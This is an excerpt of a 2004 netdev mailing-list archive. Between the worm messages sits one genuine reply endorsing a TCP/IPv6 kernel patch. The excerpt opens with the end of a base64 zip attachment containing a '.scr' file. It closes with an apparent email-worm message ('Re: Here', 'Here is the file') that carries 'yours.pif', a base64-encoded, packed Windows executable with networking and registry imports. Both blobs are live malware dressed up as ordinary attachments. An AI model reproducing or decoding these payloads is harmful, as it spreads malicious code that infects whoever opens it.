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 AAAAdO0AAAAA ----------qnptdtvpldqharrqhcoi-- From yoshfuji@linux-ipv6.org Tue May 18 00:22:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 00:23:38 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4I7LsKO014223 for ; Tue, 18 May 2004 00:22:15 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 8815733CE5; Tue, 18 May 2004 16:22:18 +0900 (JST) Date: Tue, 18 May 2004 16:22:13 +0900 (JST) Message-Id: <20040518.162213.76191660.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: mhuth@mvista.com, netdev@oss.sgi.com Subject: Re: tcp_ipv6_check_established From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <40A163A4.8050905@mvista.com> References: <40A163A4.8050905@mvista.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5168 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <40A163A4.8050905@mvista.com> (at Tue, 11 May 2004 16:37:08 -0700), Mark Huth says: > A proposed patch for 2.6.6 is attached. A similar patch is required for 2.4 kernels, and is > also attached. Correct. David, please apply. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From skeletngrl@aol.com Tue May 18 01:50:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 01:50:14 -0700 (PDT) Received: from oss.sgi.com (ATuileries-102-2-3-211.w80-15.abo.wanadoo.fr [80.15.72.211]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4I8oAKO016152 for ; Tue, 18 May 2004 01:50:12 -0700 Message-Id: <200405180850.i4I8oAKO016152@oss.sgi.com> From: skeletngrl@aol.com To: netdev@oss.sgi.com Subject: Re: Here Date: Tue, 18 May 2004 10:50:13 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_000028C8.000072BD" X-Priority: 3 X-MSMail-Priority: Normal X-archive-position: 5169 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: skeletngrl@aol.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0005_000028C8.000072BD Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0005_000028C8.000072BD Content-Type: application/octet-stream; name="yours.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="yours.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 